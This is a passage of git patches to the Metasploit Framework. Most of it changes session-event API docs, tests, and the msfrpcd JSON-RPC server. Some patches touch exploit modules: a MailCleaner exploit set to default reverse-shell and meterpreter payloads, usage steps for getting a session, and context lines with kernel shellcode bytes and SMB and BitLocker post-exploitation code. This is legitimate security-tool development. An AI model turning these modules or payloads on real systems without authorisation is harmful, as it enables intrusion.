begin self.data_service_operation do |data_service| diff --git a/lib/metasploit/framework/data_service/stubs/session_event_service.rb b/lib/metasploit/framework/data_service/stubs/session_event_service.rb index 1f729c90f20e..bdd03d04e2ba 100644 --- a/lib/metasploit/framework/data_service/stubs/session_event_service.rb +++ b/lib/metasploit/framework/data_service/stubs/session_event_service.rb @@ -1,5 +1,9 @@ module SessionEventDataService + def session_events(opts) + raise 'SessionEventDataService#session_events is not implemented' + end + def report_session_event(opts) raise 'SessionEventDataService#report_session_event is not implemented' end From 63c3404f64672cb39856134d25db817b4d5130d4 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:40:39 -0500 Subject: [PATCH 186/220] Add test for session_events method --- spec/support/shared/examples/msf/db_manager/session_event.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/spec/support/shared/examples/msf/db_manager/session_event.rb b/spec/support/shared/examples/msf/db_manager/session_event.rb index bac4d0c92b64..4d848222b4b5 100644 --- a/spec/support/shared/examples/msf/db_manager/session_event.rb +++ b/spec/support/shared/examples/msf/db_manager/session_event.rb @@ -1,3 +1,4 @@ RSpec.shared_examples_for 'Msf::DBManager::SessionEvent' do + it { is_expected.to respond_to :session_events } it { is_expected.to respond_to :report_session_event } end \ No newline at end of file From c55ef7243793545cde26a54945d5edc7405e2675 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:41:58 -0500 Subject: [PATCH 187/220] Update OpenAPI documentation for GET operation --- documentation/api/v1/session_event_api_doc.rb | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/documentation/api/v1/session_event_api_doc.rb b/documentation/api/v1/session_event_api_doc.rb index c55e3b2ed6ea..a42c80514779 100644 --- a/documentation/api/v1/session_event_api_doc.rb +++ b/documentation/api/v1/session_event_api_doc.rb @@ -12,6 +12,10 @@ module SessionEventApiDoc LOCAL_PATH_EXAMPLE = '/path/to/file' REMOTE_PATH_DESC = 'Path to the associated file for upload, download, and filedelete events.' REMOTE_PATH_EXAMPLE = '/path/to/file' + ORDER_ENUM = [ + 'asc', + 'desc' + ] # Swagger documentation for session events model swagger_schema :SessionEvent do @@ -32,6 +36,35 @@ module SessionEventApiDoc key :description, 'Return session events that are stored in the database.' key :tags, [ 'session_event' ] + parameter do + key :name, :limit + key :in, :query + key :description, 'The maximum number of session events that will be retrieved from the query. (Default: 100)' + key :example, 100 + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :offset + key :in, :query + key :description, 'The number of session events the query will begin reading from the start of the set. (Default: 0)' + key :example, 0 + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :order + key :in, :query + key :description, 'The session event created_at sort order. (Default: desc)' + key :type, :string + key :required, false + key :enum, ORDER_ENUM + end + response 200 do key :description, 'Returns session event data.' schema do From 3510a3daa282671fe80488d75824a223cd17adc9 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:42:24 -0500 Subject: [PATCH 188/220] Correct documentation errors --- documentation/api/v1/session_event_api_doc.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/api/v1/session_event_api_doc.rb b/documentation/api/v1/session_event_api_doc.rb index a42c80514779..0bf22934b1c5 100644 --- a/documentation/api/v1/session_event_api_doc.rb +++ b/documentation/api/v1/session_event_api_doc.rb @@ -92,7 +92,7 @@ module SessionEventApiDoc end end - # Swagger documentation for /api/v1/session events POST + # Swagger documentation for /api/v1/session-events events POST operation :post do key :description, 'Create a session events entry.' key :tags, [ 'session_event' ] @@ -138,15 +138,15 @@ module SessionEventApiDoc end swagger_path '/api/v1/session-events/{id}' do - # Swagger documentation for api/v1/session-events/:id GET + # Swagger documentation for /api/v1/session-events/:id GET operation :get do - key :description, 'Return a specific session_event that is stored in the database.' + key :description, 'Return a specific session event that is stored in the database.' key :tags, [ 'session_event' ] parameter do key :name, :id key :in, :path - key :description, 'ID of session_event to retrieve.' + key :description, 'ID of session event to retrieve.' key :required, true key :type, :integer key :format, :int32 From 84a8c9b6388d0cc08e0402132566ca0100aa29fe Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 22:02:00 -0500 Subject: [PATCH 189/220] Minor method comment change --- lib/msf/core/db_manager/session_event.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/db_manager/session_event.rb b/lib/msf/core/db_manager/session_event.rb index 23806a5190cd..cfdb01fef961 100644 --- a/lib/msf/core/db_manager/session_event.rb +++ b/lib/msf/core/db_manager/session_event.rb @@ -5,7 +5,7 @@ module Msf::DBManager::SessionEvent # Retrieves session events that are stored in the database. # - # @param opts [Hash] Hash containing query key-value pairs based on the session events model. + # @param opts [Hash] Hash containing query key-value pairs based on the session event model. # @option opts :id [Integer] A specific session event ID. If specified, all other options are ignored. # # Additional query options: @@ -17,7 +17,7 @@ module Msf::DBManager::SessionEvent # of the set. Default: 0 # @option opts :search_term [String] Search regular expression used to filter results. # All fields are converted to strings and results are returned if the pattern is matched. - # @return [Array] session events that are matched. + # @return [Array|Mdm::SessionEvent::ActiveRecord_Relation] session events that are matched. def session_events(opts) ::ActiveRecord::Base.connection_pool.with_connection { # If we have the ID, there is no point in creating a complex query. From 5f8d8c363795bcb5e890c020a2be0d57a3edec9f Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 8 Jan 2019 13:25:13 -0600 Subject: [PATCH 190/220] Update doc --- .../exploit/linux/http/mailcleaner_exec.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md index 25c69c21c311..7c7859521c59 100644 --- a/documentation/modules/exploit/linux/http/mailcleaner_exec.md +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -12,15 +12,15 @@ At the time of this writing all the passwords of users such as root or admin use A successful check of the exploit will look like this: -- [ ] Start `msfconsole` -- [ ] `use use exploit/linux/http/mailcleaner` -- [ ] Set `RHOST` -- [ ] Set `LHOST` -- [ ] Set `USERNAME` -- [ ] Set `PASSWORD` -- [ ] Run `exploit` -- [ ] **Verify** that you are seeing ` Awesome..! Authenticated`. -- [ ] **Verify** that you are getting `meterpreter` session. +1. Start `msfconsole` +2. `use use exploit/linux/http/mailcleaner` +3. Set `RHOST` +4. Set `LHOST` +5. Set `USERNAME` +6. Set `PASSWORD` +7. Run `exploit` +8. **Verify** that you are seeing ` Awesome..! Authenticated`. +9. **Verify** that you are getting `meterpreter` session. ## Scenarios From a0acfa79d7e37ecbe62be38dacda144d99490829 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 8 Jan 2019 13:27:26 -0600 Subject: [PATCH 191/220] Target payloads --- modules/exploits/linux/http/mailcleaner_exec.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb index 884a35693e3c..0fb948f88abc 100644 --- a/modules/exploits/linux/http/mailcleaner_exec.rb +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -32,28 +32,24 @@ def initialize(info={}) { 'SSL' => true, 'WfsDelay' => 5, - 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python', 'unix'], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Targets' => [ - [ - 'Python payload', + ['Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, + 'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'} } ], - [ - 'Command payload', + ['Command payload', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Payload' => - { - 'BadChars' => "\x26", - } + 'Payload' => {'BadChars' => "\x26"}, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} } ] ], From a2548fe92d1e229c1fba3afb78982c8ceb0634b4 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Tue, 8 Jan 2019 15:21:14 -0600 Subject: [PATCH 192/220] Only lookup db connections by name Matching on all attributes was causing issues when the connection criteria would change for a db service at a host that already existed. It would find the existing connection and load that outdated connection and fail to connect. The new functionality will save a new, valid connection with a randomly generated name, unless the -n flag is specified to overwrite an existing connection. --- lib/msf/ui/console/command_dispatcher/db.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 50ad0687c76d..5e2cefc0245f 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1766,7 +1766,7 @@ def cmd_db_connect(*args) when '-l', '--list-services' list_saved_data_services return - when '-n', '--name' + when '-n', '--name' name = args.shift if name =~ /\/|\[|\]/ print_error "Provided name contains an invalid character. Aborting connection." @@ -2174,7 +2174,6 @@ def data_service_search(search_criteria) conf.each_pair do |k,v| name = k.split('/').last rv = name if name == search_criteria - rv = name if v.values.include?(search_criteria) end rv end From 48c3f1c92d04d79a8faae7415f81e4baf4d55e29 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 8 Jan 2019 17:11:01 -0500 Subject: [PATCH 193/220] Fix typo --- documentation/api/v1/session_event_api_doc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/api/v1/session_event_api_doc.rb b/documentation/api/v1/session_event_api_doc.rb index 0bf22934b1c5..100d94143e8a 100644 --- a/documentation/api/v1/session_event_api_doc.rb +++ b/documentation/api/v1/session_event_api_doc.rb @@ -92,7 +92,7 @@ module SessionEventApiDoc end end - # Swagger documentation for /api/v1/session-events events POST + # Swagger documentation for /api/v1/session-events POST operation :post do key :description, 'Create a session events entry.' key :tags, [ 'session_event' ] From e71aac715bad2e1bec53db61a8663c0cb01a8075 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 8 Jan 2019 17:20:13 -0500 Subject: [PATCH 194/220] Move common parameter information to RootApiDoc --- documentation/api/v1/event_api_doc.rb | 17 ++++++----------- documentation/api/v1/root_api_doc.rb | 9 +++++++++ documentation/api/v1/session_event_api_doc.rb | 16 ++++++---------- 3 files changed, 21 insertions(+), 21 deletions(-) diff --git a/documentation/api/v1/event_api_doc.rb b/documentation/api/v1/event_api_doc.rb index a8745e5b15b6..24d9a648abfa 100644 --- a/documentation/api/v1/event_api_doc.rb +++ b/documentation/api/v1/event_api_doc.rb @@ -12,11 +12,6 @@ module EventApiDoc INFO_DESC = 'Information about the event specific to the event name.' INFO_EXAMPLE = {command: 'irb'} - ORDER_ENUM = [ - 'asc', - 'desc' - ] - # Swagger documentation for Event model swagger_schema :Event do key :required, [:name] @@ -42,8 +37,8 @@ module EventApiDoc parameter do key :name, :limit key :in, :query - key :description, 'The maximum number of events that will be retrieved from the query. (Default: 100)' - key :example, 100 + key :description, RootApiDoc::LIMIT_DESC + key :example, RootApiDoc::LIMIT_DEFAULT key :type, :integer key :format, :int32 key :required, false @@ -52,8 +47,8 @@ module EventApiDoc parameter do key :name, :offset key :in, :query - key :description, 'The number of events the query will begin reading from the start of the set. (Default: 0)' - key :example, 0 + key :description, RootApiDoc::OFFSET_DESC + key :example, RootApiDoc::OFFSET_DEFAULT key :type, :integer key :format, :int32 key :required, false @@ -62,10 +57,10 @@ module EventApiDoc parameter do key :name, :order key :in, :query - key :description, 'The event created_at sort order. (Default: desc)' + key :description, RootApiDoc::ORDER_DESC key :type, :string key :required, false - key :enum, ORDER_ENUM + key :enum, RootApiDoc::ORDER_ENUM end response 200 do diff --git a/documentation/api/v1/root_api_doc.rb b/documentation/api/v1/root_api_doc.rb index 48b3c858e269..46c3ef33919b 100644 --- a/documentation/api/v1/root_api_doc.rb +++ b/documentation/api/v1/root_api_doc.rb @@ -17,6 +17,15 @@ module RootApiDoc AUTH_CODE_DESC = 'The authentication error code that was generated.' AUTH_CODE_EXAMPLE = 401 AUTH_MESSAGE_DESC = 'A message describing the authentication error that occurred.' + LIMIT_DEFAULT = 100 + LIMIT_DESC = "The maximum number of results that will be retrieved from the query. (Default: #{LIMIT_DEFAULT})" + OFFSET_DEFAULT = 0 + OFFSET_DESC = "The number of results the query will begin reading from the beginning of the set. (Default: #{OFFSET_DEFAULT})" + ORDER_DESC = 'The order in which results are returned, based on the created_at datetime. (Default: desc)' + ORDER_ENUM = [ + 'asc', + 'desc' + ] DEFAULT_RESPONSE_200 = 'Successful operation.' DEFAULT_RESPONSE_401 = 'Authenticate to access this resource.' diff --git a/documentation/api/v1/session_event_api_doc.rb b/documentation/api/v1/session_event_api_doc.rb index 100d94143e8a..2d2eacb99f61 100644 --- a/documentation/api/v1/session_event_api_doc.rb +++ b/documentation/api/v1/session_event_api_doc.rb @@ -12,10 +12,6 @@ module SessionEventApiDoc LOCAL_PATH_EXAMPLE = '/path/to/file' REMOTE_PATH_DESC = 'Path to the associated file for upload, download, and filedelete events.' REMOTE_PATH_EXAMPLE = '/path/to/file' - ORDER_ENUM = [ - 'asc', - 'desc' - ] # Swagger documentation for session events model swagger_schema :SessionEvent do @@ -39,8 +35,8 @@ module SessionEventApiDoc parameter do key :name, :limit key :in, :query - key :description, 'The maximum number of session events that will be retrieved from the query. (Default: 100)' - key :example, 100 + key :description, RootApiDoc::LIMIT_DESC + key :example, RootApiDoc::LIMIT_DEFAULT key :type, :integer key :format, :int32 key :required, false @@ -49,8 +45,8 @@ module SessionEventApiDoc parameter do key :name, :offset key :in, :query - key :description, 'The number of session events the query will begin reading from the start of the set. (Default: 0)' - key :example, 0 + key :description, RootApiDoc::OFFSET_DESC + key :example, RootApiDoc::OFFSET_DEFAULT key :type, :integer key :format, :int32 key :required, false @@ -59,10 +55,10 @@ module SessionEventApiDoc parameter do key :name, :order key :in, :query - key :description, 'The session event created_at sort order. (Default: desc)' + key :description, RootApiDoc::ORDER_DESC key :type, :string key :required, false - key :enum, ORDER_ENUM + key :enum, RootApiDoc::ORDER_ENUM end response 200 do From b6cfb5f6971925d43123be788b64047f84a09ede Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 8 Jan 2019 22:39:26 -0500 Subject: [PATCH 195/220] Add Msf::Util::ServiceHelper class --- lib/msf/util/service_helper.rb | 62 ++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 lib/msf/util/service_helper.rb diff --git a/lib/msf/util/service_helper.rb b/lib/msf/util/service_helper.rb new file mode 100644 index 000000000000..628fc05ec485 --- /dev/null +++ b/lib/msf/util/service_helper.rb @@ -0,0 +1,62 @@ +require 'open3' + +module Msf + module Util + class ServiceHelper + def self.run_cmd(cmd, input: nil, env: {}, debug: false) + exitstatus = 0 + err = out = "" + + $stdout.puts "run_cmd: cmd=#{cmd}, input=#{input}, env=#{env}" if debug + + Open3.popen3(env, cmd) do |stdin, stdout, stderr, wait_thr| + stdin.puts(input) if input + if debug + err = stderr.read + out = stdout.read + end + exitstatus = wait_thr.value.exitstatus + end + + if exitstatus != 0 + if debug + $stdout.puts "'#{cmd}' returned #{exitstatus}" + $stdout.puts out + $stdout.puts err + end + end + + exitstatus + end + + def self.process_active?(pid) + begin + Process.kill(0, pid) + true + rescue Errno::ESRCH + false + end + end + + def self.tail(file) + begin + File.readlines(file).last.to_s.strip + rescue + nil + end + end + + def self.thin_cmd(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, + env: 'production', daemonize:, log:, pid:, tag:) + server_opts = "--rackup #{conf} --address #{address} --port #{port}" + ssl_opts = ssl ? "--ssl --ssl-key-file #{ssl_key} --ssl-cert-file #{ssl_cert}" : '' + ssl_opts << ' --ssl-disable-verify' if ssl_disable_verify + adapter_opts = "--environment #{env}" + daemon_opts = daemonize ? "--daemonize --log #{log} --pid #{pid} --tag #{tag}" : '' + all_opts = [server_opts, ssl_opts, adapter_opts, daemon_opts].reject(&:empty?).join(' ') + + "thin #{all_opts}" + end + end + end +end From e83e1b23bd9403cef87b80baf5b8b130b045fefc Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Tue, 8 Jan 2019 22:40:15 -0500 Subject: [PATCH 196/220] Add support for starting JSON-RPC server --- msfrpcd | 289 ++++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 209 insertions(+), 80 deletions(-) diff --git a/msfrpcd b/msfrpcd index e3c5103c2256..d0c57775e6c4 100755 --- a/msfrpcd +++ b/msfrpcd @@ -4,52 +4,161 @@ # $Id$ # # This user interface listens on a port and provides clients that connect to -# it with an RPC interface to the Metasploit Framework. +# it with an RPC or JSON-RPC interface to the Metasploit Framework. # # $Revision$ # -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +RPC_TYPE = 'Msg' + +@localconf = "#{ENV['HOME']}/.msf4" +@ws_tag = 'msf-ws' +@ws_rpc_tag = 'msf-json-rpc' +@ws_conf_full_path = nil +@ws_conf = "#{@ws_rpc_tag}.ru" +@ws_ssl_key_default = "#{@localconf}/#{@ws_tag}-key.pem" +@ws_ssl_cert_default = "#{@localconf}/#{@ws_tag}-cert.pem" +@ws_log = "#{@localconf}/logs/#{@ws_rpc_tag}.log" +@ws_rpc_pid = "#{@localconf}/#{@ws_rpc_tag}.pid" +@ws_tag = 'production' + + +def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, daemonize:) + unless File.file?(conf) + $stdout.puts "[-] No MSF JSON-RPC web service configuration found at #{conf}, not starting" + return false + end + + # check if MSF JSON-RPC web service is already started + if File.file?(@ws_rpc_pid) + ws_pid = Msf::Util::ServiceHelper.tail(@ws_rpc_pid) + if ws_pid.nil? || !Msf::Util::ServiceHelper.process_active?(ws_pid.to_i) + $stdout.puts "[-] MSF JSON-RPC web service PID file found, but no active process running as PID #{ws_pid}" + $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{@ws_rpc_pid}" + File.delete(@ws_rpc_pid) + else + $stdout.puts "[*] MSF JSON-RPC web service is already running as PID #{ws_pid}" + return false + end + end + + # attempt to start MSF JSON-RPC service + thin_cmd = Msf::Util::ServiceHelper.thin_cmd(conf: conf, + address: address, + port: port, + ssl: ssl, + ssl_key: ssl_key, + ssl_cert: ssl_cert, + ssl_disable_verify: ssl_disable_verify, + env: @ws_tag, + daemonize: daemonize, + log: @ws_log, + pid: @ws_rpc_pid, + tag: @ws_rpc_tag) + Msf::Util::ServiceHelper.run_cmd("#{thin_cmd} start") +end + +def stop_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, ssl_disable_verify:, daemonize:) + ws_pid = Msf::Util::ServiceHelper.tail(@ws_rpc_pid) + $stdout.puts '' + if ws_pid.nil? || !Msf::Util::ServiceHelper.process_active?(ws_pid.to_i) + $stdout.puts '[*] MSF JSON-RPC web service is no longer running' + if File.file?(@ws_rpc_pid) + $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{@ws_rpc_pid}" + File.delete(@ws_rpc_pid) + end + else + $stdout.puts "[*] Stopping MSF JSON-RPC web service PID #{ws_pid}" + thin_cmd = Msf::Util::ServiceHelper.thin_cmd(conf: conf, + address: address, + port: port, + ssl: ssl, + ssl_key: ssl_key, + ssl_cert: ssl_cert, + ssl_disable_verify: ssl_disable_verify, + env: @ws_tag, + daemonize: daemonize, + log: @ws_log, + pid: @ws_rpc_pid, + tag: @ws_rpc_tag) + Msf::Util::ServiceHelper.run_cmd("#{thin_cmd} stop") + end end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex/parser/arguments' - -# Declare the argument parser for msfrpcd -arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address" ], - "-p" => [ true, "Bind to this port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-u" => [ true, "URI for Web server" ], - "-t" => [ true, "Token Timeout (default 300 seconds" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-n" => [ false, "Disable database" ], - "-h" => [ false, "Help banner" ]) - -opts = { - 'RunInForeground' => true, - 'SSL' => true, - 'ServerHost' => '0.0.0.0', - 'ServerPort' => 55553, - 'ServerType' => 'Msg', - 'TokenTimeout' => 300, -} - -foreground = false -frameworkOpts = {} - - -# Parse command line arguments. -arguments.parse(ARGV) { |opt, idx, val| - case opt +def start_rpc_service(opts, frameworkOpts, foreground) + # Fork into the background if requested + begin + if foreground + $stdout.puts "[*] #{RPC_TYPE.upcase}RPC ready at #{Time.now}." + else + $stderr.puts "[*] #{RPC_TYPE.upcase}RPC backgrounding at #{Time.now}..." + exit(0) if Process.fork() + end + rescue ::NotImplementedError + $stderr.puts "[-] Background mode is not available on this platform" + end + + # Create an instance of the framework + $framework = Msf::Simple::Framework.create(frameworkOpts) + + # Run the plugin instance in the foreground. + begin + $framework.plugins.load("#{RPC_TYPE.downcase}rpc", opts).run + rescue ::Interrupt + $stderr.puts "[*] Shutting down" + end +end + + +if $PROGRAM_NAME == __FILE__ + msfbase = __FILE__ + while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + end + + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) + require 'msfenv' + + $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + + require 'rex/parser/arguments' + + opts = { + 'RunInForeground' => true, + 'SSL' => true, + 'ServerHost' => '0.0.0.0', + 'ServerPort' => 55553, + 'ServerType' => RPC_TYPE, + 'TokenTimeout' => 300, + } + + # Declare the argument parser for msfrpcd + arguments = Rex::Parser::Arguments.new( + "-a" => [ true, "Bind to this IP address (default: #{opts['ServerHost']})" ], + "-p" => [ true, "Bind to this port (default: #{opts['ServerPort']})" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-u" => [ true, "URI for Web server" ], + "-t" => [ true, "Token Timeout seconds (default: #{opts['TokenTimeout']})" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-n" => [ false, "Disable database" ], + "-j" => [ false, "(JSON-RPC) Start JSON-RPC server" ], + "-k" => [ false, "(JSON-RPC) Path to private key (default: #{@ws_ssl_key_default})" ], + "-c" => [ false, "(JSON-RPC) Path to certificate (default: #{@ws_ssl_cert_default})" ], + "-v" => [ false, "(JSON-RPC) SSL enable verify (optional) client cert requests" ], + "-h" => [ false, "Help banner" ]) + + foreground = false + json_rpc = false + ssl_enable_verify = false + ws_ssl_key = @ws_ssl_key_default + ws_ssl_cert = @ws_ssl_cert_default + frameworkOpts = {} + + # Parse command line arguments. + arguments.parse(ARGV) { |opt, idx, val| + case opt when "-a" opts['ServerHost'] = val when "-S" @@ -68,47 +177,67 @@ arguments.parse(ARGV) { |opt, idx, val| opts['URI'] = val when "-n" frameworkOpts['DisableDatabase'] = true + when "-j" + json_rpc = true + when "-k" + ws_ssl_key = val + when "-c" + ws_ssl_cert = val + when "-v" + ssl_enable_verify = true when "-h" print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) exit + end + } + + $0 = "msfrpcd" + + require 'msf/base' + require 'msf/ui' + require 'msf/util/service_helper' + + begin + if json_rpc + + if !File.file?(@ws_ssl_key_default) || !File.file?(@ws_ssl_cert_default) + $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first." + abort + end + + $stderr.puts "[*] JSON-RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"})..." + $stderr.puts "[*] URI: /api//json-rpc" + $stderr.puts "[*] JSON-RPC server log: #{@ws_log}" unless foreground + + ws_conf_full_path = File.expand_path(File.join(File.dirname(msfbase), @ws_conf)) + + start_json_rpc_service(conf: ws_conf_full_path, + address: opts['ServerHost'], + port: opts['ServerPort'], + ssl: opts['SSL'], + ssl_key: ws_ssl_key, + ssl_cert: ws_ssl_cert, + ssl_disable_verify: !ssl_enable_verify, + daemonize: !foreground) + else + unless opts['Pass'] + $stderr.puts "[-] Error: a password must be specified (-P)" + exit(0) + end + + $stderr.puts "[*] #{RPC_TYPE.upcase}RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"}):#{opts['ServerType']}..." + $stderr.puts "[*] URI: #{opts['URI']}" if opts['URI'] + + start_rpc_service(opts, frameworkOpts, foreground) + end + rescue ::Interrupt + stop_json_rpc_service(conf: ws_conf_full_path, + address: opts['ServerHost'], + port: opts['ServerPort'], + ssl: opts['SSL'], + ssl_key: ws_ssl_key, + ssl_cert: ws_ssl_cert, + ssl_disable_verify: !ssl_enable_verify, + daemonize: !foreground) if json_rpc end -} - -unless opts['Pass'] - $stderr.puts "[-] Error: a password must be specified (-P)" - exit(0) -end - -$0 = "msfrpcd" - -rpctype = 'MSG' - -$stderr.puts "[*] #{rpctype}RPC starting on #{opts['ServerHost']}:#{opts['ServerPort']} (#{opts['SSL'] ? "SSL" : "NO SSL"}):#{opts['ServerType']}..." - -$stderr.puts "[*] URI: #{opts['URI']}" if opts['URI'] - -require 'msf/base' -require 'msf/ui' - - -# Fork into the background if requested -begin - if foreground - $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." - else - $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." - exit(0) if Process.fork() - end -rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" -end - -# Create an instance of the framework -$framework = Msf::Simple::Framework.create(frameworkOpts) - -# Run the plugin instance in the foreground. -begin - $framework.plugins.load("#{rpctype.downcase}rpc", opts).run -rescue ::Interrupt - $stderr.puts "[*] Shutting down" -end +end \ No newline at end of file From 0c984fa232f2c249cc9601db9caca367ed12bf12 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 9 Jan 2019 06:32:22 -0600 Subject: [PATCH 197/220] Fix messages /successfuly/successfully --- modules/auxiliary/admin/smb/ms17_010_command.rb | 2 +- modules/auxiliary/admin/smb/psexec_command.rb | 2 +- modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb | 2 +- modules/post/windows/escalate/ms10_073_kbdlayout.rb | 2 +- modules/post/windows/gather/bitlocker_fvek.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/smb/ms17_010_command.rb b/modules/auxiliary/admin/smb/ms17_010_command.rb index e866c39653b7..1b5430c21b2d 100644 --- a/modules/auxiliary/admin/smb/ms17_010_command.rb +++ b/modules/auxiliary/admin/smb/ms17_010_command.rb @@ -104,7 +104,7 @@ def smb_pwn(ip) output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY']) # Report output - print_good("Command completed successfuly!") + print_good("Command completed successfully!") print_status("Output for \"#{datastore['COMMAND']}\":\n") print_line("#{output}\n") report_note( diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 7b08762c0427..ccac432747ad 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -72,7 +72,7 @@ def run_host(ip) output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY']) unless output.nil? - print_good("Command completed successfuly!") + print_good("Command completed successfully!") print_status("Output for \"#{datastore['COMMAND']}\":\n") print_line("#{output}\n") report_note( diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index 35a1a8703069..a9e6bc556045 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -136,7 +136,7 @@ def exploit payload_url = "" @payload_path = "" if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/ - print_good("Payload uploaded successfuly") + print_good("Payload uploaded successfully") else print_error("Payload upload failed") return diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 53446e663367..42b250f1cec9 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -85,7 +85,7 @@ def run ring0_code = #"\xcc" + - # save registers -- necessary for successfuly recovery + # save registers -- necessary for successfully recovery "\x60" + # get EPROCESS from ETHREAD "\x64\xa1\x24\x01\x00\x00" + diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 6566dd657dba..deeb82944396 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -103,7 +103,7 @@ def run if !recovery_key.nil? recovery_key = recovery_key[1] id_key_tmp = id_key_tmp[1] - print_good("Recovery key generated successfuly : #{recovery_key}") + print_good("Recovery key generated successfully : #{recovery_key}") else print_error('Recovery Key generation failed') print_status('No recovery key can be used') From cf1b4b43cb961be4a384d5c43be2ba1420d28f00 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Wed, 9 Jan 2019 14:30:24 +0100 Subject: [PATCH 198/220] auxiliary/fileformat/badpdf: fix syntax and logic error in options handling --- 